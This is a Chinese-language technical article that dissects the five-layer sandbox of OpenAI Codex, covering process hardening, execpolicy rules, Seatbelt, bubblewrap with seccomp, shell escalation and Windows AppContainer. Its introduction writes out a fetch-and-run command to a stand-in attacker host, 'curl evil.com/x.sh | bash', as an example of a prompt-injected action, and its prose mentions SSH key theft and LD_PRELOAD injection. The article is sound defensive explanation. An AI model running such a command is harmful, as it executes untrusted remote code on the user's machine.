把 AI 关进笼子里:Codex Sandbox 全景拆解
引言
你让 Codex 帮你修个 bug。它读了几个文件,想了几秒,决定执行:
1 | rm -rf node_modules && pnpm install |
它已经按下回车了,你才看到那行命令。
这一秒钟,至少有十种东西可能出错。rm 把路径写错——比如多了个空格——就能把你的家目录端掉。pnpm install 顺手跑了某个恶意 postinstall 脚本,把 ~/.ssh/id_rsa 上传到了境外服务器。模型被 prompt injection 了,前一秒还在改 React 组件,下一秒突然 curl evil.com/x.sh | bash。
让 LLM 自己在你电脑上跑命令,本质上是在邀请一个永远都没法 100% 信任的实习生进入生产服务器。
先说清楚:Sandbox 到底是什么
如果你是第一次听 sandbox(中文译”沙箱”)这个词,先用一句话定义:
Sandbox 就是给一段你不完全信任的代码一套受限的执行环境,让它只能用你允许的资源、只能干你允许的事。坏事不是靠它自觉不做,而是环境本身让它做不出来。
这是一个非常老的安全概念,已经悄悄塞满了你身边几乎所有现代软件:
| 你在用的东西 | 它的 sandbox 长什么样 | 防的是什么风险 |
|---|---|---|
| Chrome 浏览器 | 每个 Tab 一个独立的渲染进程,进程被 OS 限制不能读你硬盘的任意文件 | 一个网页有 0day 漏洞,最多只能搞到当前 Tab,不能拿到你其他网站的 cookie 或本地文件 |
| iPhone App | 每个 App 跑在自己的 Container 目录里,默认只能访问 /Apps/<bundle-id>/ 下的文件 |
一个 App 装上来不能偷另一个 App 的数据,更不能动系统文件 |
| Docker 容器 | 进程跑在 Linux namespace 隔离里,文件系统、网络、PID 全部独立 | 一个容器被攻破,不影响宿主机和其他容器 |
| AWS Lambda | 每次函数调用启动一个 Firecracker 微 VM,几毫秒后销毁 | 函数里有恶意代码?影响半径 = 这一次调用 |
形式各异,思路完全一致:给定一个不完全信任的执行体,用 OS / 内核 / 硬件层面的隔离机制,把它的”能力”收窄到你能接受的范围。
一个 sandbox 通常控制四类能力:
| 能力 | 不控制会发生什么 | sandbox 怎么管 |
|---|---|---|
| 文件系统 | 程序读光你的 ~/.ssh/id_rsa、删光你的 ~/Documents/ |
默认全只读 / 全不可见,显式开放某些目录 |
| 网络 | 把你的代码、token、密钥往外发 | 默认断网,显式允许某些域名/端口 |
| 进程 | fork 出子进程做坏事、ptrace 别的进程偷数据 | 限制 fork、禁 ptrace、新进程不能提权 |
| 系统调用 (syscall) | 直接 mount、reboot、kexec_load 内核级搞事情 |
用 seccomp / AppArmor 按 syscall 白名单拦截 |
为什么 AI agent 时代 sandbox 突然变得格外重要? 因为 AI 是有史以来最不可信任的执行体:
- 传统程序的行为是写死的,你 review 代码就能知道它会干什么
- AI 的行为是采样出来的,没人能保证下一秒不会因为某个奇怪的 prompt 跑出
rm -rf / - AI 还可能被prompt injection(攻击者把恶意指令藏进它读到的文档/网页),让它做你完全没批准的事
传统软件的 sandbox 思路完全适用:不要相信 AI 守规矩,让环境本身阻止它做坏事。Codex 把这个思路做到了极致 —— 不是一道墙,是 5 道叠在一起的墙,任何一道都不假设自己是最后一道防线。
业界三种应对
回到 AI agent 这件事上。让 AI 自己跑命令,业界目前处理的方式分三档:
- Aider / Continue 等:让用户每条命令都人工 confirm。安全但慢。
- Cursor Agent / Claude Code:默认大多数命令直接执行,靠 prompt + 用户警觉性。快但险。
- OpenAI Codex:默认就把 AI 关在一个工业级 sandbox 里。AI 想干的事先过五道关,能过的才落地。
第三种是这篇文章的主角。Codex 的 codex-rs/ 里和 sandbox 相关的 crate 有 7 个,实现了 5 层防御(windows-sandbox-rs 是平台 sandbox 在 Windows 上的实现,bwrap 是 linux-sandbox 的兜底二进制):
| Crate | 干什么 |
|---|---|
process-hardening |
进程级加固,禁止 ptrace、core dump、LD_PRELOAD 注入 |
execpolicy |
命令白名单引擎,Starlark DSL,allow / prompt / forbidden 三档 |
sandboxing |
跨平台 sandbox 编排器,根据 OS 选择 seatbelt / bubblewrap / Windows |
linux-sandbox |
Linux 实现:bubblewrap + seccomp + namespaces |
bwrap |
内嵌的 bubblewrap 二进制,作为系统 bwrap 的兜底 |
windows-sandbox-rs |
Windows 实现:AppContainer + RestrictedToken + WFP 防火墙 |
shell-escalation |
shell 内 execve 拦截,给「用户主动批准的」命令开后门 |
这五层叠在一起像一个洋葱,每一层独立成立、合在一起做纵深防御。这篇文章把每一层拆开,告诉你它在防什么、怎么防、为什么是这样而不是那样。读完你会知道:当 AI 想 rm -rf 你的家目录时,到底是哪些代码在按住它的手。

总览:五层洋葱
把请求从「模型决定要跑某条命令」到「命令真正在 OS 上落地」的整条路径列出来:
| 顺序 | 层 | 拦截时机 | 兜的是什么风险 |
|---|---|---|---|
| 0 | 进程加固 | Codex 进程启动前(pre-main) | 攻击者已经在你的机器上有同用户权限,想横向劫持 Codex 进程本身 |
| 1 | execpolicy 检查 | 命令到达 sandbox 之前 | 已知危险命令(rm -rf /、git push --force)、未审计命令 |
| 2 | 平台 sandbox 进入 | 命令真正 fork 之前 | 文件系统越权、网络外联、子进程 fork 提权 |
| 3 | 内核级隔离 | 进程已经在 sandbox 内运行 | 利用 syscall 越狱(unshare、ptrace、mount)、namespace 逃逸 |
| 4 | shell 内拦截 | sandbox 内的 shell fork 子进程时 | 用户主动批准某条命令需要「跳出 sandbox」执行 |
接下来逐层拆开。
1. 进程加固:还没进 main() 就关上的几扇门
最容易被忽视的一层,也是最先生效的一层。
codex-rs/process-hardening/src/lib.rs 里有个函数叫 pre_main_hardening(),通过 #[ctor::ctor] 这个属性宏(ctor,constructor 的缩写,让函数在 main() 之前被自动调用)注册成构造器。Codex 进程一加载,这个函数就先跑。
它干四件事(下面代码块是 Linux 版的精选三件,macOS 版还会多做一件清空 DYLD_* 和 MallocStackLogging):
1 | // codex-rs/process-hardening/src/lib.rs:45 |
每一个都对应一类攻击。

**PR_SET_DUMPABLE = 0**(Linux)/ **ptrace(PT_DENY_ATTACH)**(macOS)。把当前进程标记为「不可调试」。同一用户下的其他进程不能用 gdb、strace、lldb 附加上来读 Codex 的内存。这堵的是:你机器上已经被一个低权限的恶意进程(比如某个 npm 包的恶意脚本)感染了,它会扫同 UID 下的进程,找到 Codex 之后挂上 ptrace 抓你和 OpenAI API 的会话 token。设了 PR_SET_DUMPABLE = 0 之后,ptrace 直接 EPERM 失败。
RLIMIT_CORE = 0**(所有 Unix)。把 core dump(core dump**,进程崩溃时操作系统把内存快照写到磁盘的文件)大小硬限制为 0。Codex 在内存里持有 API key、对话历史、你正在编辑的文件内容。它如果不幸 panic 了,没有 core dump 意味着这些敏感信息不会被写到 /var/lib/systemd/coredump/、~/Library/Logs/DiagnosticReports/ 这种地方等着别的进程或者系统级日志收集器读。
清空 LD_* 和 DYLD_***。LD_PRELOAD**(Linux)和 **DYLD_INSERT_LIBRARIES**(macOS)是动态链接器(dynamic linker,加载 .so/.dylib 共享库的运行时组件)的环境变量,可以让任意 .so 在程序的所有库之前被加载。攻击者最经典的提权路径之一:往 LD_PRELOAD 里塞一个恶意 .so,里面 hook 了 libc 的 getenv、open、write,所有读环境变量、读文件、写日志的调用都先进它的代码。Codex 在 main() 之前清空所有 LD_ 开头的环境变量,等于关掉这条注入路径。
**清空 MallocStackLogging**(macOS 独有)。这个变量开了之后会让 macOS 的 malloc 把所有堆栈分配的调用栈记到一个文件里。在 TUI 这种持续刷屏的场景下,会把 stack log 喷到终端里污染 UI(issue #11555)。这条不是安全问题,是体验问题。但它和上面那些挤在同一个函数里,因为它们都属于「进程一启动就该处理掉的环境噪声」。
这一层的特点是:只防同 UID 下的攻击。一个有 root 的攻击者照样能绕过 ptrace 限制、读 core dump、修改环境变量。Codex 不假设它是在被 root 攻击的环境里运行——那已经是另一个量级的威胁模型了,谁也救不了你。
2. Execpolicy:命令到达 sandbox 之前的政审
进程加固只是开场。真正决定「AI 能不能跑这条命令」的是 execpolicy 这个 crate。
它本质是一个策略引擎(policy engine,输入命令、输出 allow/prompt/forbidden 决定的纯函数模块)。规则用 Starlark 写——一种 Python 风格的配置 DSL(Bazel、Buck 都在用),故意去掉了循环、可变全局状态和动态特性,因此规则文件可以被安全地解析、缓存、并行评估。
一条规则长这样:
1 | # codex-rs/execpolicy/examples/example.codexpolicy |
pattern 是一个有序的 token 数组。命令传进来之后被 shlex 切成 token 数组,按顺序匹配。pattern 里的元素也可以是数组,表示「这一位允许多选一」(比如 ["cmd", ["alt1", "alt2"]])。
decision 三档:
allow:放行prompt:弹给用户人工确认forbidden:直接拒,并把justification字段作为拒绝理由展示
match / not_match 是规则自带的「单元测试」。规则在加载时就会跑这些 example,确保你写的规则真的能匹配你想匹配的命令、不会误伤想放过的命令。这是一个非常聪明的设计——大部分策略系统的规则只能上线之后靠用户翻车来验证,Codex 在规则文件里就强制你写 example。
匹配语义有两个细节值得说。
严格度合并。一条命令可能匹中多条规则,最终决定取最严格的:forbidden > prompt > allow。这意味着你可以叠加规则:写一条 prefix_rule(pattern=["git"], decision="allow") 给 git 整体放行,再单独写 prefix_rule(pattern=["git", "reset", "--hard"], decision="forbidden") 拦截危险子命令——git reset --hard 同时命中两条,最严的 forbidden 生效。注意:如果你没显式写 git 的 allow 规则,那”未匹配”≠”放行”,效果取决于你的 Codex 配置(有些场景下未匹配会触发 prompt)。
Host executable 解析。命令里的程序名是 git 还是 /usr/bin/git 还是 /opt/homebrew/bin/git,匹配语义不一样。默认情况下,/usr/bin/git status 只匹配 pattern = ["/usr/bin/git", ...] 的规则,而 git status 只匹配 pattern = ["git", ...] 的规则。开了 --resolve-host-executables 之后,绝对路径会回退到 basename 规则。如果你显式声明了 host_executable(name="git", paths=["/opt/homebrew/bin/git", "/usr/bin/git"]),那么只有这两个绝对路径会被允许回退到 git 的 basename 规则——这是为了防止 PATH 注入:/tmp/git 即使被打到 PATH 第一位也不会被当成你信任的 git。
execpolicy 是一个独立的 binary(codex execpolicy check --rules path/to/policy git status),返回 JSON。这意味着你可以把它作为单独的 CLI 工具集成进任何 CI / 审计系统,不一定得跑 Codex。
这一层的核心价值是审计可读。AI 想跑什么、被允许还是被拒绝,全是可声明、可 review、可 diff 的文本规则。出事了能复盘。
3. macOS Seatbelt:Apple 自家的笼子
如果 execpolicy 放行了,命令进入平台 sandbox。先讲 macOS。
macOS 的 sandbox 机制叫 Seatbelt(Apple 自家也没起特别好的中文名,行业里偶尔叫”安全带”),上层 CLI 是 /usr/bin/sandbox-exec,下层是 Apple 内核的 Sandbox.kext。Sandbox 策略用 SBPL(Sandbox Profile Language,Apple 没有官方文档的 Scheme 方言)写。Codex 在 codex-rs/sandboxing/src/seatbelt_base_policy.sbpl 里维护着一份基础策略,源头明确标注「inspired by Chrome’s sandbox policy」——抄的是 Chrome 渲染进程的沙箱配置。

策略文件第一行非常关键:
1 | (version 1) |
默认拒一切。剩下几百行全是「允许……」的白名单。这是和 iptables 防火墙完全一样的设计哲学:default-deny 比 default-allow 安全一个数量级,因为前者的失误是「合法操作被拒」(用户立刻发现并修),后者的失误是「危险操作被放过」(可能很久才被发现)。
被显式允许的事情非常窄:
- 进程:
process-exec、process-fork,子进程继承同样的 sandbox - sysctl 读取:只允许查 CPU 信息(
hw.ncpu、hw.memsize等)和 OS 版本 - IOKit:只允许
RootDomainUserClient - mach 服务:只允许
opendirectoryd(查 user info)、cfprefsd(读 user preferences) - pseudo-tty:开
pty让交互 shell 能用 /dev/null写入
网络默认完全禁止。需要联网时,再叠加一份 seatbelt_network_policy.sbpl,里面也只放行了「为了让 TLS 工作」的最小集合:与 SecurityServer 通信验证证书、与 SystemConfiguration 通信查 DNS 配置。
文件系统默认完全不可读不可写。运行时根据用户配置的 PermissionProfile 动态生成 (allow file-read* (subpath "...")) 和 (allow file-write* (subpath "...")) 规则附加到基础策略后面。可写根目录(writable roots)来自配置,常见是 cwd 和 /tmp。任何不在白名单里的路径,连 stat() 都会失败。
源码里有一个体现 paranoid 思维的小细节:
1 | // codex-rs/sandboxing/src/seatbelt.rs:25-29 |
这是硬编码绝对路径。Codex 不查 PATH,不接受配置覆盖。理由写在注释里:如果攻击者能改 PATH 注入一个假 sandbox-exec,没问题,那一定有 root 才能继续——但这种情况下 /usr/bin/sandbox-exec 也已经被换了,整个机器都已经沦陷,sandbox 是否可信也不重要了。把信任锚点钉死在 /usr/bin,等于把「我相信 macOS 系统目录没被改」这一条假设暴露出来——不能更小,但也别更大。
启动一条命令时,Codex 实际跑的是:
1 | /usr/bin/sandbox-exec -p '<动态拼出的 SBPL 策略>' -- <用户命令> |
那段策略前面是 seatbelt_base_policy.sbpl 的全文,中间是动态生成的 file-read / file-write / network 段,后面如果开了 restricted_read_only_platform_defaults 还会加一段 macOS 系统路径的只读访问。整套策略以字符串形式直接传给 sandbox-exec,不落盘。
4. Linux Bubblewrap:用 Linux namespaces 拼出来的笼子
Linux 没有 Seatbelt 那种「用一份策略文件描述一切」的官方接口,但它有更底层、更灵活的原料:namespaces(命名空间,让进程拥有独立视角的 mount/pid/net/user 等)和 seccomp-bpf(系统调用过滤器)。
把这堆原料组装成一个能用的 sandbox 的工具叫 Bubblewrap(GNOME Flatpak 在用的那个,二进制名 bwrap)。Codex 直接调用它。
linux-sandbox 这个 crate 启动一条命令时,构造的命令大致长这样(简化):
1 | bwrap \ |
每一行都在做一件事:
| 参数 | 作用 |
|---|---|
--unshare-user |
创建新的 user namespace,进程的 UID 和外面不一样,里面是 root 外面是普通用户 |
--unshare-pid |
创建新的 PID namespace,进程在里面看不到外面其他进程 |
--unshare-net |
创建新的 network namespace,里面没有任何网卡(断网) |
--ro-bind / / |
把整个根目录以只读方式 mount 到沙箱里 |
--bind <root> <root> |
把指定目录改成可读可写(在 ro-bind 上面叠加) |
--ro-bind <protected> |
把可写目录里的敏感子路径(.git、.codex)再覆盖回只读 |
--proc /proc |
在沙箱里挂一个新的 procfs,避免泄露宿主进程信息 |
这一套组合的语义是默认全只读 + 显式开窗口。一个写权限是这样获得的:先 --ro-bind / / 把整个根都封死,再 --bind /home/leslie/proj /home/leslie/proj 把工作目录单独开放,再 --ro-bind /home/leslie/proj/.git /home/leslie/proj/.git 把 .git 重新封回只读(防止 AI 改 hooks 或 history)。
Codex 在拼装 bwrap 参数时按路径特异性排序——窄路径的规则放后面挂载,从而覆盖前面挂的宽路径规则。下面这三条规则叠在一起,结果是 /repo 可写、/repo/a 拒绝、/repo/a/b 又可写:
1 | --bind /repo /repo # 1. 整个 /repo 可写 |

进入 bwrap 之后还有两件事在 in-process 做:
1 | // codex-rs/linux-sandbox/README.md |
PR_SET_NO_NEW_PRIVS 是 Linux 3.5(2012 年)引入的进程标志,设了之后这个进程及其所有子进程都不能通过 execve 提权(setuid 二进制无效化、Linux capabilities 不能新增)。等于把「执行 sudo、su、mount 这种 setuid 程序」这条提权路径整体废掉。
Seccomp 网络过滤。这里用到的 seccomp-bpf(secure computing mode + BPF 过滤器)是 Linux 内核机制,可以按 syscall 编号和参数白名单或黑名单 syscall。当网络被禁时,bwrap 已经给了一个空的 net namespace(无网卡),但 Codex 还要叠一道 seccomp 拦截 socket()、socketpair() 等创建套接字的调用,作为 namespace 的二次保险。即使代码里调用 socket(AF_INET, ...) 也会直接 EPERM。
Bubblewrap 自己的安全防御
Codex 在选择 bwrap 二进制时也很小心。codex-rs/sandboxing/src/bwrap.rs:168 里的 find_system_bwrap_in_path() 干这件事:
1 | which::which_in_all(SYSTEM_BWRAP_PROGRAM, Some(search_path), &cwd) |
搜 bwrap 的时候,主动跳过当前工作目录下的命中。攻击场景:你 cd 进了某个不可信的项目,项目里有个 ./bwrap 是恶意脚本,PATH 又恰好包含 .(虽然不该有但确实有人这么配)。如果 Codex 直接用 which bwrap 拿到 ./bwrap,那这个项目就能控制 sandbox 本身。所以 Codex 主动把 cwd 排除掉,逼自己用 /usr/bin/bwrap 这种系统路径。
如果系统压根没装 bwrap,Codex 还自带一份:codex-rs/bwrap/ 这个 crate 编进去一份 bundled bwrap 二进制作为兜底,避免在没装 bubblewrap 的发行版上完全失效。
启动前还有一道能力探测:通过跑一次 bwrap --help 看输出里有没有 --argv0(v0.9.0 引入)和 --perms,决定走哪条兼容路径。Ubuntu 20.04 / 22.04 自带的 bwrap 太老不支持 --argv0,Codex 不会假装它支持,而是切到「不带 --argv0」的兼容路径。
还有一道用户命名空间可用性探测:Docker、有些公司的 Linux 加固镜像、WSL1 都禁用了 user namespace。Codex 在启动时跑一次 bwrap --unshare-user --unshare-net --ro-bind / / /bin/true,超时 500ms,看能不能成功。失败了就提前在 TUI 顶上挂一行警告:「你的环境不支持 user namespace,sandbox 不会生效」。WSL1 因为根本不支持 user namespace,Codex 直接拒绝跑。
5. Shell 内拦截:用户主动批准的「越狱」
前面四层都在收紧。第五层反过来——给用户一个明确同意之后跳出 sandbox 的口子。
场景是这样的:你在 sandbox 里跑命令,AI 想 git push origin main。push 需要 SSH key,SSH key 在 ~/.ssh/,但 ~/.ssh/ 不在可写根里,连读都不行。怎么办?
codex-rs/shell-escalation/ 的设计是:一个 patched zsh + 一个 wrapper 二进制 + 一个 IPC 协议。

对应的执行链路:
- Codex 启动一个 shell,但不是普通的 zsh,是一个打了补丁的 zsh(patch 在
codex-rs/shell-escalation/patches/zsh-exec-wrapper.patch,给 zsh 的Src/exec.c加了一个EXEC_WRAPPER钩子)。 - 这个 zsh 每次要 fork-exec 子进程之前,先
execve一个 wrapper 程序codex-execve-wrapper,把原命令的参数传进去。 - wrapper 通过环境变量
CODEX_ESCALATE_SOCKET拿到一个文件描述符(fd,file descriptor),通过这个 fd 和 Codex 主进程上的 escalation server 通信,发送「我要跑这条命令,要怎么处理?」 - server 看一眼命令、走一遍 execpolicy、可能弹给用户人工确认,回三种之一:
| 响应 | 含义 |
|---|---|
Run |
在 sandbox 内正常跑——wrapper 自己 execve 原命令 |
Escalate |
跳出 sandbox 跑——server 接管 fd,在 sandbox 外执行,跑完把 exit code 转回去 |
Deny |
拒绝——wrapper 打印错误,exit 1 |
这里精彩的地方在 fd 转移。”escalate” 不是简单地把命令 fork 到 sandbox 外面就完事,而是要把 stdin / stdout / stderr 这三个 fd 透明地传到 sandbox 外的进程上,让它的输入输出和原本在 sandbox 内的语义完全一致。Linux 上这通过 SCM_RIGHTS(ancillary message,可以在 Unix domain socket 上传 fd 给另一个进程的内核机制)实现。这是这个设计的核心 trick——它让「跳出 sandbox」从用户视角看是无感的,命令的输出还是流式回到原来的终端。
这一层是 Codex 区别于其他 AI agent 的一个隐藏功能:不是简单地”关 sandbox”或”开 sandbox”,而是允许 sandbox 内的某条命令例外性地跳出来执行。从架构上讲,它解决的是「sandbox 太严会卡死真实工作流,sandbox 太松又失去意义」这个根本矛盾。
6. Windows:完全不一样的一套
到这里你可能注意到:上面四层都是 Unix 的。Windows 整个生态没有 namespace、没有 seccomp、没有 sandbox-exec。Codex 在 Windows 上走的是完全不同的一套机制。

codex-rs/windows-sandbox-rs/ 的源码体量比 Linux 还大,主要靠这几个 Windows 特性:
- AppContainer:Windows 8 引入的应用隔离机制,原本给 UWP / Edge 用的。每个 AppContainer 进程有独立的 SID(Security Identifier),按 SID 给的 ACL(Access Control List,文件/注册表的访问控制列表)来决定能访问什么。
- Restricted Token:把进程的访问令牌”减权”,去掉 admin 组、去掉危险的特权(
SeDebugPrivilege之类),只留必需的 SID。 - Job Object:把进程绑到一个 job,限制它能创建多少子进程、能用多少内存、能存活多久。
- **Window Filtering Platform (WFP)**:Windows 内核里的网络过滤框架,Codex 用它实现网络访问的细粒度控制(
wfp.rs、wfp_setup.rs),相当于给这个 sandbox 单独装了一道防火墙。 - 私有 Desktop:可选地把 sandbox 进程放到一个独立的 Windows Desktop 对象上,让它不能截屏、不能模拟键盘输入到主桌面。
构造方法上也很不一样。Linux 的 bwrap 是「fork + namespace + exec」,所有隔离在子进程的 namespace 里。Windows 的 AppContainer 是「按 SID 配 ACL + 用 restricted token 启动进程」,所有隔离在 NT 内核的访问控制里。两套机制都能达到「文件系统沙箱 + 网络隔离 + 提权阻断」的效果,但思路完全不同。
Codex 在 Windows 上还做了一些 Linux 用户想象不到的事情:**hide_users.rs** 在 sandbox 启动时枚举宿主上的用户账户,从 sandbox 视角隐藏掉,避免 AI 通过 net user 之类的命令枚举到其他用户存在;**ssh_config_dependencies.rs** 专门处理 OpenSSH 在 Windows 上的配置依赖,因为 SSH 的 known_hosts 默认在 %USERPROFILE%\.ssh\ 而 sandbox 内的 home 是被重映射的。
Windows sandbox 看起来是 Codex 三个平台里近期改动最活跃的一块。如果你打算从这里改起,可以预期 git log 上的 churn 比 Linux 那块明显多——这意味着你既能赶上新设计,也要做好接住未稳定接口的准备。
7. 几个聪明的设计决策
把上面五层串起来再观察,能看到一些贯穿全栈的设计取舍。
纵深防御(Defense in Depth)。任何一层都不假设自己是最后一道防线。execpolicy 拦掉的命令,sandbox 也会再拦一次(防止规则文件被篡改);sandbox 隔离的网络,seccomp 也会再封一次(防止 namespace 被绕);进程加固关掉的 ptrace,sandbox 内的 PR_SET_NO_NEW_PRIVS 也再次禁了 setuid 提权。冗余不是浪费,是兜底。
默认全拒,显式放行。从 (deny default) 到 --ro-bind / / 到 execpolicy 的「未匹配等于不放行」,整条链路上每一层都遵守同一个规则:白名单只比黑名单严一点点,但安全性不在一个量级。
信任锚点钉死在系统目录。/usr/bin/sandbox-exec 硬编码、bwrap 主动拒绝 cwd 路径下的二进制、execpolicy 用 host_executable 限制绝对路径回退。这背后是同一个判断:配置可以被攻击者改,环境变量可以被攻击者改,PATH 可以被攻击者改,但是改 /usr/bin/ 需要 root,到那一步整个机器已经丢了。把信任建立在「需要 root 才能破坏」的东西上,比建立在「任何同 UID 进程都能破坏」的东西上安全得多。
能力探测优先于假设。bwrap 是不是支持 --argv0、是不是有 user namespace 权限、机器是不是 WSL1,全是运行时探测出来的,不是猜的。这看上去琐碎,但意味着 Codex 在不同发行版、不同内核版本、不同容器化环境里都不会因为一个小差异就崩。
警告前置。bwrap 缺了、user namespace 没权限、WSL1 不能跑 sandbox,这些问题 Codex 在启动时就探测出来在 TUI 顶上挂横幅,而不是等用户跑了一条命令才在 stderr 喷一段晦涩的内核错误。这是把 UX 当成安全功能的一部分来设计——一个用户看不懂的安全警告,等于没有警告。
给”用户主动越狱”留口子。shell-escalation 是这套架构里我最喜欢的一块。它承认了「绝对的隔离会让工具不可用」这件事,同时设计了一个明确的、有人工同意的、可审计的越狱路径。让安全策略可执行的关键,从来不是把规则定到最严,而是给合理的例外留出口。
8. 总结:一张表回顾,加上几个二开方向
整套 Codex sandbox 拦截链路按命令的流向走一遍:
| 步骤 | 在哪一层 | 谁的代码 |
|---|---|---|
| 1. Codex 进程启动 | 进程加固 | process-hardening 的 pre_main_hardening() |
| 2. AI 决定执行某条命令 | (还没拦截) | core |
| 3. 命令送进策略检查 | execpolicy | execpolicy::check() |
| 4. 决定走 sandbox | sandboxing | SandboxManager::transform() |
| 5. macOS 走 seatbelt / Linux 走 bwrap / Windows 走 AppContainer | 平台 sandbox | sandboxing::seatbelt / linux-sandbox / windows-sandbox-rs |
| 6. 内核级隔离 | namespaces + seccomp + AppContainer | Linux/Windows 内核 |
| 7. sandbox 内 shell 想 fork 子进程 | shell-escalation | codex-execve-wrapper |
| 8. (可选)跳出 sandbox 执行 | shell-escalation server | escalation IPC + fd 转移 |
每一层都对应着一类具体威胁、用着对应平台上最贴近内核的那个机制、并且默认全拒。
回到文章开头那条 rm -rf node_modules && pnpm install:
- 进程加固层确认 Codex 进程本身没被同 UID 攻击者劫持
- execpolicy 检查
rm -rf是否触发了规则——可能是prompt,弹给你确认 - 你点了 yes,sandbox 启动
- macOS 上:
sandbox-exec把rm关进只读根 + 你工作目录可写的 SBPL 策略里,任何越界访问都被内核拒绝 - Linux 上:bwrap 给
rm一个新的 user/pid/net namespace,根目录只读,工作目录可写,没有网络 pnpm install想跑的恶意 postinstall 脚本,没有网络(除非允许)、没法读~/.ssh/、没法sudo、没法LD_PRELOAD注入到任何东西
每一层单看都不复杂,叠在一起就是一个外人想攻破 Codex 至少得过五道关的纵深防御体系。
如果你想基于 Codex 做 sandbox 方向的二次开发,自然的几个方向:
写一份公司专属的 execpolicy。最小成本的改造。在 codex-rs/execpolicy/examples/ 旁边新建你公司的 corp.codexpolicy,把内部认为危险的命令(比如 kubectl delete、terraform destroy、改某些机密文件)单独标 forbidden 或 prompt。配合 --rules 参数加载,立刻生效,不需要碰任何 Rust 代码。
接审计日志。execpolicy 的所有决策都是结构化 JSON,你可以在 codex-rs/sandboxing/src/manager.rs 的 transform() 里加一道 hook,把每条命令的决策、justification、命中规则写到公司内部审计系统(SLS、ELK、splunk 都行)。
抽出 sandbox 模块独立成库。codex-rs/sandboxing/ 这个 crate 设计上和 codex 业务耦合很轻,主要依赖 codex-protocol 的 SandboxPolicy 类型。你可以把它 fork 出来作为公司内部所有需要”在自家机器上跑不可信代码”的项目的统一 sandbox 库——典型场景:CI runner、AI 数据处理 pipeline、用户上传脚本执行平台。
给特定语言加更紧的 policy。Python pip install 的 setup.py 任意代码执行、Node pnpm install 的 postinstall 脚本,本质上是 sandbox 没区分「运行代码」和「构建代码」。可以在 execpolicy 之上叠一层语言特化策略:跑 pip 时强制 --require-hashes、跑 pnpm 时强制 --ignore-scripts,等等。
最难的其实不是写代码,是定义清楚你公司的「可接受的风险」是什么。Codex 默认策略反映的是 OpenAI 自己的风险模型——给云上 ChatGPT 用户提供一个公开的、对抗 prompt injection 的本地代理。你公司的风险模型可能完全不同:内部数据敏感度更高、外网访问要走公司 proxy、命令审计要进合规系统、不同部门需要不同的策略集合……这些都是 Codex 默认策略给不了你答案的事情,但它给了你一个能回答这些问题的好底座。
参考资料
- Codex sandbox 源码 - 本文主要拆解对象
- Codex 官方 sandbox 文档 - 用户视角的能力描述
- Bubblewrap 项目 - GNOME Flatpak 在用的同一个 bwrap
- Apple Sandbox SBPL 第三方文档 - Apple 没出官方文档,这是社区最完整的整理
- Linux User Namespaces (LWN) - user namespace 的权威介绍
- Chrome 的 macOS sandbox 配置 - Codex SBPL 策略的参考来源
